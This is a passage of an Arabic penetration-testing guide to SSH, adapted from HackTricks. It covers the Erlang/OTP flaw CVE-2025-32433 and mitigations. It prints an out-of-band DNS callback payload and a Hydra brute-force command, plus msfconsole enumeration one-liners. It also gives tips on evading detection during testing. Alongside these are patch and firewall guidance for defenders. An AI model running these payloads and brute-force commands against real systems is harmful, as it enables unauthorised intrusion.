يمكن تنفيذ الكشف عن تنفيذ أوامر عمياء (Blind RCE) / خارج النطاق (Out-of-Band) عبر DNS:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

حمولات فعلية رُصدت بالاستغلال الحقيقي: وثّق باحثو Unit 42 (شركة Palo Alto Networks) نوعين رئيسيين من الحمولات المستخدَمة فعلياً ضد أهداف حقيقية بعد الكشف عن الثغرة:

1. استخدام واصفات الملفات (File Descriptors): لإنشاء اتصال TCP وربطه مباشرةً بصدفة (Shell)، ما يسمح بتنفيذ أوامر تفاعلية عبر الشبكة مباشرةً.
2. شل عكسي (Reverse Shell) تقليدي: يعيد توجيه مدخلات ومخرجات الصدفة مباشرةً نحو مضيف بعيد يتحكم به المهاجم — رُصد اتصال فعلي نحو العنوان 146.103.40[.]203 على المنفذ 6667، وهو منفذ يرتبط تقليدياً بخوادم التحكم والسيطرة (C2) الخاصة بشبكات الروبوتات (Botnets).

الكشف والتخفيف:

• فحص حركة مرور SSH: إسقاط أي حزمة برمز رسالة ≥ 80 رُصدت قبل المصادقة.
• تحديث Erlang/OTP إلى 27.3.3 / 26.2.5.11 / 25.3.2.20 أو أحدث — هذا هو التخفيف الأساسي والأهم.
• حل مؤقت (Temporary Workaround) بحال تعذّر التحديث الفوري: تعطيل خدمة SSH بالكامل إذا لم تكن ضرورية، أو تقييد الوصول إليها عبر قواعد جدار حماية (Firewall) تسمح فقط بمصادر موثوقة محدَّدة.
• تقييد التعرّض لمنافذ الإدارة (22/2022/830/2222) — خصوصاً على معدّات OT.
• توفّر شركة Palo Alto Networks توقيعاً مخصصاً (رقم 96163) بجدرانها النارية من الجيل التالي (NGFW) للكشف عن محاولات استغلال هذه الثغرة تحديداً.

تطبيقات أخرى متأثرة

• libssh الإصدارات 0.6 إلى 0.8 (جانب الخادم) – CVE-2018-10933 – يقبل رسالة SSH_MSG_USERAUTH_SUCCESS غير مصادَق عليها يُرسِلها العميل، وهو فعلياً نفس الخلل المنطقي بشكل معكوس.

الدرس المشترك هنا هو أن أي انحراف عن انتقالات الحالة (State Transitions) المفروضة بموجب RFC يمكن أن يكون قاتلاً؛ عند مراجعة أو فحص (Fuzzing) خدمات SSH، انتبه بشكل خاص لـفرض آلة الحالة (State-Machine Enforcement).

المصدر

هذا المقال إعادة صياغة وتوسيع عربي لمرجع اختبار اختراق SSH/SFTP المنشور على HackTricks، مع دمج تفاصيل تقنية إضافية من المصادر أدناه لتوسيع الشرح حول ثغرات محدَّدة:

• المصدر الأساسي: HackTricks – Pentesting SSH/SFTP
• Unit 42 – تحليل ثغرة Erlang/OTP SSH (CVE-2025-32433)
• Qualys – تحليل ثغرة regreSSHion (CVE-2024-6387)
• Snyk – تحليل الباب الخلفي في XZ (CVE-2024-3094)
• أدلة تقوية SSH — ssh-audit.com

أوامر HackTricks الآلية

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
  Name: Hydra Brute Force
  Description: Need Username
  Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
  Name: consolesless mfs enumeration
  Description: SSH enumeration without the need to run msfconsole
  Note: sourced from https://github.com/carlospolop/legion
  Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

ملاحظات OPSEC

أدوات الحماية التي قد تكشف النشاط:

• سجلات المصادقة على الخادم (/var/log/auth.log أو /var/log/secure): تسجّل كل توزيعات Linux تقريباً كل محاولة اتصال ومصادقة SSH افتراضياً، سواء نجحت أو فشلت.
• أنظمة كشف/منع التسلل (IDS/IPS) وfail2ban: تراقب عدد محاولات المصادقة الفاشلة المتتالية من نفس العنوان، وتحظره تلقائياً عند تجاوز حد معين — من أكثر الآليات شيوعاً بمواجهة الهجمات بالقوة العمياء على SSH تحديداً.
• أدوات مراقبة الشبكة المحلية (Wireshark، Arpwatch): ترصد أي تغييرات غير معتادة بجداول ARP أو حركة DNS مشبوهة، وهي الوسيلة الرئيسية لكشف محاولات هجوم الوسيط (SSH-MitM).
• الفحص العميق لحزم SSH (Deep Packet Inspection): أنظمة المراقبة المتقدمة قد ترصد حزم SSH ذات رمز رسالة غير معتاد يصل قبل انتهاء المصادقة — وهو المؤشر الرئيسي لاستغلال ثغرات آلة الحالة مثل CVE-2025-32433، لكن أغلب البيئات لا تراقب هذا المستوى تحديداً.

مستوى الضجيج لكل تقنية:

كيف نقلل الأثر:

• استخدم -t 1 مع Hydra عند تنفيذ Brute Force (كما هو موصى به بأوامر HackTricks الآلية أعلاه) لتقليل عدد المحاولات بالثانية وتجنّب قفل الحساب والتنبيه الفوري.
• فضّل جمع البانر وفحوصات ssh-audit كخطوة أولى دائماً — هادئة نسبياً مقارنة بأي تقنية تتطلب محاولات مصادقة متكررة.
• لا تلجأ لانتحال ARP/DNS لهجوم الوسيط إلا ضمن نطاق اختبار مصرَّح به صراحة، وكن مستعداً لاكتشافه بسهولة عبر أي أداة مراقبة شبكة.
• وثّق كل قفزة أثناء استخدام SSH-Snake — الأثر تراكمي ولا يمكن التراجع عنه بعد نجاح الاتصال.

🛠️ أدوات لفحص SSH